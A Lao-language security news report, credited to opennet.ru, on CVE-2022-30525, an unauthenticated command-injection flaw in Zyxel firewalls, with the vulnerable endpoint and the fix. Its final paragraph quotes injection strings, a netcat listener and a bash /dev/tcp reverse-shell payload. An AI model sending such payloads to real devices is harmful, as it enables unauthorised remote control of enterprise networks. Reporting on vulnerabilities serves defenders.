ຊ່ອງໂຫວ່ໃນ Zyxel firewalls ທີ່ອະນຸຍາດໃຫ້ປະຕິບັດລະຫັດໂດຍບໍ່ມີການພິສູດຢືນຢັນ

ຊ່ອງໂຫວ່ທີ່ສໍາຄັນ (CVE-2022-30525) ໄດ້ຖືກລະບຸໄວ້ໃນອຸປະກອນ Zyxel ຂອງ ATP, VPN ແລະ USG FLEX series, ອອກແບບມາເພື່ອຈັດລະບຽບການເຮັດວຽກຂອງ Firewalls, IDS ແລະ VPN ໃນວິສາຫະກິດ, ເຊິ່ງອະນຸຍາດໃຫ້ຜູ້ໂຈມຕີພາຍນອກສາມາດປະຕິບັດລະຫັດໃນ. ອຸປະກອນທີ່ບໍ່ມີສິດຂອງຜູ້ໃຊ້ໂດຍບໍ່ມີການພິສູດຢືນຢັນ. ເພື່ອປະຕິບັດການໂຈມຕີ, ຜູ້ໂຈມຕີຈະຕ້ອງສາມາດສົ່ງຄໍາຮ້ອງຂໍໄປຫາອຸປະກອນໂດຍໃຊ້ໂປໂຕຄອນ HTTP/HTTPS. Zyxel ໄດ້ແກ້ໄຂຊ່ອງໂຫວ່ໃນການອັບເດດເຟີມແວ ZLD 5.30. ອີງຕາມການບໍລິການ Shodan, ປະຈຸບັນມີ 16213 ອຸປະກອນທີ່ມີຄວາມສ່ຽງໃນເຄືອຂ່າຍທົ່ວໂລກທີ່ຍອມຮັບການຮ້ອງຂໍຜ່ານ HTTP / HTTPS.

ການດໍາເນີນງານແມ່ນດໍາເນີນໂດຍການສົ່ງຄໍາສັ່ງທີ່ອອກແບບພິເສດໄປຫາຕົວຈັດການເວັບ /ztp/cgi-bin/handler, ສາມາດເຂົ້າເຖິງໄດ້ໂດຍບໍ່ມີການພິສູດຢືນຢັນ. ບັນຫາແມ່ນເກີດມາຈາກການຂາດການທໍາຄວາມສະອາດທີ່ເຫມາະສົມຂອງຕົວກໍານົດການຮ້ອງຂໍໃນເວລາທີ່ປະຕິບັດຄໍາສັ່ງໃນລະບົບໂດຍໃຊ້ການໂທ os.system ທີ່ໃຊ້ໃນຫ້ອງສະຫມຸດ lib_wan_settings.py ແລະຖືກປະຕິບັດໃນເວລາທີ່ດໍາເນີນການປະຕິບັດງານ setWanPortSt.

ຕົວຢ່າງ, ຜູ້ໂຈມຕີສາມາດຜ່ານສາຍ “; ping 192.168.1.210;" ເຊິ່ງຈະນໍາໄປສູ່ການປະຕິບັດຄໍາສັ່ງ "ping 192.168.1.210" ໃນລະບົບ. ເພື່ອເຂົ້າເຖິງ shell ຄໍາສັ່ງ, ທ່ານສາມາດເອີ້ນໃຊ້ “nc -lvnp 1270” ໃນລະບົບຂອງເຈົ້າ, ແລະຫຼັງຈາກນັ້ນເລີ່ມຕົ້ນການເຊື່ອມຕໍ່ແບບປີ້ນກັບກັນໂດຍການສົ່ງຄໍາຮ້ອງຂໍໄປຫາອຸປະກອນທີ່ມີ '; bash -c \»exec bash -i &>/dev/tcp/192.168.1.210/1270 <&1;\»;'.

ແຫຼ່ງຂໍ້ມູນ: opennet.ru